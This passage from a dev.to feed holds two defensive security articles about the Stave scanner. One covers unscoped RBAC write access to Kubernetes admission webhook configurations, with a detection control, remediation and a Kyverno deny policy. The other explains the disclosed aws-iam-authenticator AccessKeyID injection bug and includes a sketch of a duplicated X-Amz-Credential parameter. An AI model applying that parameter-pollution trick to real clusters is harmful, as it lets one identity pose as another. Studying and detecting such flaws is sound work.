&lt;p&gt;&lt;code&gt;has_webhook_config_access&lt;/code&gt; is the engine's verdict. It is true if any rule grants a write verb on either webhook configuration resource. The underlying &lt;code&gt;rules&lt;/code&gt; array carries the evidence; the &lt;code&gt;bound_subjects&lt;/code&gt; list says &lt;em&gt;who&lt;/em&gt; gets the permission once the role binding is in place.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stave Control (CEL Predicate)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CTL.K8S.RBAC.WEBHOOK.001&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;RBAC Must Restrict Admission Webhook Configuration Access&lt;/span&gt;
&lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;high&lt;/span&gt;
&lt;span class="na"&gt;unsafe_predicate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;all&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.k8s.kind&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster_role&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;field&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;properties.k8s.rbac.has_webhook_config_access&lt;/span&gt;
      &lt;span class="na"&gt;op&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;eq&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two leaf clauses, both required. Severity &lt;code&gt;high&lt;/code&gt; where webhook-write is one API call away from persistence-as-a-service, but it's not yet active exploitation; the control fires on the &lt;em&gt;capability&lt;/em&gt;, not on a confirmed compromise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Z3 Doesn't Help Here
&lt;/h2&gt;

&lt;p&gt;Same shape as bucket name dangling, &lt;code&gt;.git&lt;/code&gt; exposure, and CloudTrail stopped: this is a presence check at the collector layer, not a reachability question. The collector walks the role's verb set and emits a boolean. CEL's predicate is a two-leaf conjunction.&lt;/p&gt;

&lt;p&gt;A different and harder question "given the cluster's full RBAC binding graph, which subjects can transitively reach webhook-write through aggregated ClusterRoles?" would be reachability over the binding graph and would benefit from Z3. That work is out of scope for this example; it lives in the same neighbourhood as IAM transitive-trust analysis.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reproducing The Detection
&lt;/h2&gt;

&lt;p&gt;The repository has an example at &lt;code&gt;stave/examples/eks-rbac-webhook-config-access/&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;go run ./examples/eks-rbac-webhook-config-access before
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Captured stdout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== before (webhook write granted) ===
  status: NON_COMPLIANT   total_assets=1   violations=1
  CTL.K8S.RBAC.WEBHOOK.001 fired on 1 asset(s):
    - acme-platform-controller   severity=high   exposure_score=76.64
  assertion: fires=true (expected) ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the role is scoped to read-only verbs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== after  (read-only) ===
  status: COMPLIANT   total_assets=1   violations=0
  CTL.K8S.RBAC.WEBHOOK.001: no findings
  assertion: fires=false (expected) ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The Remediation
&lt;/h2&gt;

&lt;p&gt;The minimal fix: replace write verbs with read verbs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; rules:
   - apiGroups: ["admissionregistration.k8s.io"]
     resources: ["mutatingwebhookconfigurations"]
&lt;span class="gd"&gt;-    verbs: ["create", "update", "patch", "delete"]
&lt;/span&gt;&lt;span class="gi"&gt;+    verbs: ["get", "list", "watch"]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the operator legitimately needs to manage &lt;em&gt;its own&lt;/em&gt; webhook (e.g., Cert Manager refreshing its CA certificate in the webhook config), use &lt;code&gt;resourceNames&lt;/code&gt; to scope the write to a specific named resource:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;apiGroups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admissionregistration.k8s.io"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mutatingwebhookconfigurations"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;resourceNames&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cert-manager-webhook"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;verbs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;update"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;patch"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;apiGroups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admissionregistration.k8s.io"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mutatingwebhookconfigurations"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;verbs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;get"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;list"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;watch"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first rule grants update/patch only on the named webhook. The second rule grants read across the resource class so the controller can list other webhooks for inventory purposes. An attacker who compromises the operator can refresh the operator's own webhook (limited blast radius) but cannot register new webhooks.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Prevention Lesson
&lt;/h2&gt;

&lt;p&gt;Three layers, in priority order:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OPA Gatekeeper / Kyverno policy&lt;/strong&gt; denying any ClusterRole or Role that grants write verbs on webhook configurations without &lt;code&gt;resourceNames&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;kyverno.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ClusterPolicy&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;restrict-webhook-rbac&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;validationFailureAction&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Enforce&lt;/span&gt;
  &lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;deny-unscoped-webhook-write&lt;/span&gt;
      &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;any&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
              &lt;span class="na"&gt;kinds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;ClusterRole&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Role&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
      &lt;span class="na"&gt;validate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;ClusterRoles must not grant write verbs on&lt;/span&gt;
          &lt;span class="s"&gt;webhook configurations without resourceNames.&lt;/span&gt;
        &lt;span class="na"&gt;deny&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;conditions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;request.object.rules[?contains(resources,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;'mutatingwebhookconfigurations')&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;(contains(verbs,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;'create')&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;||&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;contains(verbs,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;'update')&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;||&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;contains(verbs,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;'patch')&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;||&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;contains(verbs,&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;'delete'))&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;length(resourceNames&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;||&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;`[]`)&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;==&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;`0`]&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}"&lt;/span&gt;
              &lt;span class="na"&gt;operator&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NotEquals&lt;/span&gt;
              &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The policy refuses the role at admission time. The deny is the strongest enforcement layer where the unsafe shape never reaches the cluster's RBAC store.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Helm chart / operator install audit.&lt;/strong&gt; Every operator the cluster installs goes through a chart review that explicitly checks the RBAC manifest for unscoped webhook writes. The reviewer asks "does this operator need write on &lt;em&gt;all&lt;/em&gt; webhooks, or just its own?" Most answer "just its own" once asked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;stave apply&lt;/code&gt; in CI&lt;/strong&gt; against the post-deploy observation snapshot. The example shipped with this article is the template; PRs that introduce a &lt;code&gt;k8s_cluster_role&lt;/code&gt; with &lt;code&gt;has_webhook_config_access: true&lt;/code&gt; produce exit code 3.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;No ClusterRole or Role grants
  &lt;code&gt;create / update / patch / delete&lt;/code&gt; on
  &lt;code&gt;mutatingwebhookconfigurations&lt;/code&gt; or
  &lt;code&gt;validatingwebhookconfigurations&lt;/code&gt; without
  &lt;code&gt;resourceNames&lt;/code&gt; scoping&lt;/li&gt;
&lt;li&gt;Operator install reviews include RBAC analysis with explicit attention to admission-webhook verbs&lt;/li&gt;
&lt;li&gt;OPA Gatekeeper or Kyverno enforces the no-unscoped-webhook-write rule at admission&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;stave apply&lt;/code&gt; runs in CI against post-deploy observations; PRs with &lt;code&gt;has_webhook_config_access: true&lt;/code&gt; fail&lt;/li&gt;
&lt;li&gt;Audit logs forward webhook-configuration mutation events (&lt;code&gt;mutatingwebhookconfigurations.create / update&lt;/code&gt;) to the SOC for review&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The webhook is the persistence. The RBAC permission is how the persistence becomes available. The cluster's configuration audits should treat "who can write to admission webhooks" with the same weight as "who can deploy to production". Because they are, structurally, the same question.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The example at &lt;a href="https://github.com/sufield/stave/tree/main/examples/eks-rbac-webhook-config-access" rel="noopener noreferrer"&gt;&lt;code&gt;eks-rbac-webhook-config-access&lt;/code&gt;&lt;/a&gt; is a self-contained Go program that loads two fixture snapshots, runs &lt;code&gt;pkg/stave.Apply&lt;/code&gt;, asserts that &lt;code&gt;CTL.K8S.RBAC.WEBHOOK.001&lt;/code&gt; fires on the write-verbs fixture and is silent on the read-only remediation, and exits zero when both assertions hold. &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt; detects this pattern and 31 other H1-grounded scenarios from local AWS / EKS configuration snapshots, without cloud credentials.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>kubernetes</category>
      <category>eks</category>
      <category>appsec</category>
    </item>
    <item>
      <title>The Auth Template That Trusted Its Caller: AccessKeyID Injection in EKS</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Wed, 09 Sep 2026 11:39:59 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/the-auth-template-that-trusted-its-caller-accesskeyid-injection-in-eks-5h6o</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/the-auth-template-that-trusted-its-caller-accesskeyid-injection-in-eks-5h6o</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When a user's &lt;code&gt;kubectl&lt;/code&gt; command authenticates to an Amazon EKS cluster, three components cooperate to turn an AWS identity into a Kubernetes user:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;aws-iam-authenticator&lt;/code&gt; client signs an STS &lt;code&gt;GetCallerIdentity&lt;/code&gt; request and sends the URL to the cluster as a presigned bearer token.&lt;/li&gt;
&lt;li&gt;The cluster's webhook authenticator parses the URL, verifies the signature, and extracts the AWS principal's identity.&lt;/li&gt;
&lt;li&gt;A configured &lt;em&gt;identity-mapping template&lt;/em&gt; turns that AWS principal into a Kubernetes user. For example, &lt;code&gt;arn:aws:iam::...:role/EksAdmin&lt;/code&gt; becomes the Kubernetes user &lt;code&gt;eks-admin&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Bug lived in step 3. The mapping template historically supported the &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; substitution, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;userARN&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;arn:aws:iam::*:role/*"&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user:{{AccessKeyID}}"&lt;/span&gt;
  &lt;span class="na"&gt;groups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;system:masters"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The intent was reasonable: include the AWS access key ID in the Kubernetes username for audit correlation. The AccessKeyID came from the bug. The webhook parsed it from the &lt;em&gt;client-supplied URL's query parameters&lt;/em&gt; &lt;code&gt;X-Amz-Credential&lt;/code&gt; rather than from the STS response that AWS itself returned.&lt;/p&gt;

&lt;p&gt;In a presigned URL, the query parameters are signed &lt;em&gt;for delivery&lt;/em&gt;, not authenticated &lt;em&gt;as content&lt;/em&gt;. AWS APIs normalise duplicate parameters by some specific rule (last-wins, case-insensitive, etc.); the &lt;code&gt;aws-iam-authenticator&lt;/code&gt; URL parser used a slightly different rule. The mismatch is an &lt;em&gt;HTTP parameter pollution&lt;/em&gt; primitive: an attacker adds a case-variant duplicate (&lt;code&gt;x-amz-credential&lt;/code&gt; lowercase, when AWS expects mixed-case &lt;code&gt;X-Amz-Credential&lt;/code&gt;), and the two parsers see different values for what is supposedly the same parameter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client sends:
  X-Amz-Credential=ATTACKER_KEY/...
  x-amz-credential=VICTIM_KEY/...   (case-variant duplicate)

AWS STS sees:                  AccessKeyId=VICTIM_KEY
aws-iam-authenticator sees:    AccessKeyID=ATTACKER_KEY
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;STS authenticates the request as VICTIM, returns "yes, that's a valid AWS principal." The mapping template substitutes &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; with ATTACKER_KEY. The Kubernetes user becomes &lt;code&gt;user:ATTACKER_KEY&lt;/code&gt;. But the AWS-side authentication succeeded for VICTIM. A different user lands in the cluster than AWS authorised.&lt;/p&gt;

&lt;p&gt;This is the disclosed bug behind &lt;a href="https://hackerone.com/reports/1580493" rel="noopener noreferrer"&gt;Kubernetes HackerOne 1580493&lt;/a&gt;. The fix: substitute from server-derived values (&lt;code&gt;SessionName&lt;/code&gt;, role ARN) instead of from anything the client influences.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Fix is Two Words
&lt;/h2&gt;

&lt;p&gt;The remediation is the smallest possible diff:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;- username: "user:{{AccessKeyID}}"
&lt;/span&gt;&lt;span class="gi"&gt;+ username: "user:{{SessionName}}"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SessionName&lt;/code&gt; comes from the STS response. The AWS side computed, signed, and returned it. The client cannot influence it through the request. The template substitution is now consuming a value with clear provenance.&lt;/p&gt;

&lt;p&gt;Or skip templating and use ARN-based mapping:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;userARN&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;arn:aws:iam::*:role/EksAdmin"&lt;/span&gt;
  &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;eks-admin"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the matching is on the AWS principal's ARN (also from the STS response, also signed), the mapping is one-to-one and there's no client-supplied value left to inject.&lt;/p&gt;

&lt;h2&gt;
  
  
  The System Invariant
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Identity-mapping templates in &lt;code&gt;aws-iam-authenticator&lt;/code&gt; must not substitute&lt;br&gt;
&lt;code&gt;{{AccessKeyID}}&lt;/code&gt;. Any value drawn from client-controlled URL parameters is a parameter-injection primitive against the cluster's identity layer.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In Stave's observation schema, the identity-mapping state is captured under the cluster's &lt;code&gt;auth&lt;/code&gt; block:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"acme-eks-cluster"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"k8s_cluster"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"vendor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"kubernetes"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"properties"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"auth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cluster"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"webhook"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"provider"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"aws-iam-authenticator"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"identity_mapping"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"uses_access_key_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"templates"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"user:{{AccessKeyID}}"&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;uses_access_key_id&lt;/code&gt; is the engine's verdict. It is true when any template string contains the &lt;code&gt;{{AccessKeyID}}&lt;/code&gt; placeholder. The &lt;code&gt;templates&lt;/code&gt; array carries the underlying evidence. The &lt;code&gt;vendor&lt;/code&gt; field is &lt;code&gt;kubernetes&lt;/code&gt; (not &lt;code&gt;aws&lt;/code&gt;) because the asset is a Kubernetes-domain resource even though the cluster runs on AWS. Stave's vendor heuristic uses scope tags to filter applicable controls, and mis-tagging this as &lt;code&gt;aws&lt;/code&gt; would silently exclude the control from running.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Stave Control
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;CTL.K8S.AUTH.ACCESSKEYMAP.001&lt;/span&gt;
&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;K8s Clusters Must Not Map Identity via AccessKeyID&lt;/span&gt;
&lt;span class="na"&gt;severity&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;high&lt;/span&gt;
&lt;span class="na"&gt;unsafe_predicate&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
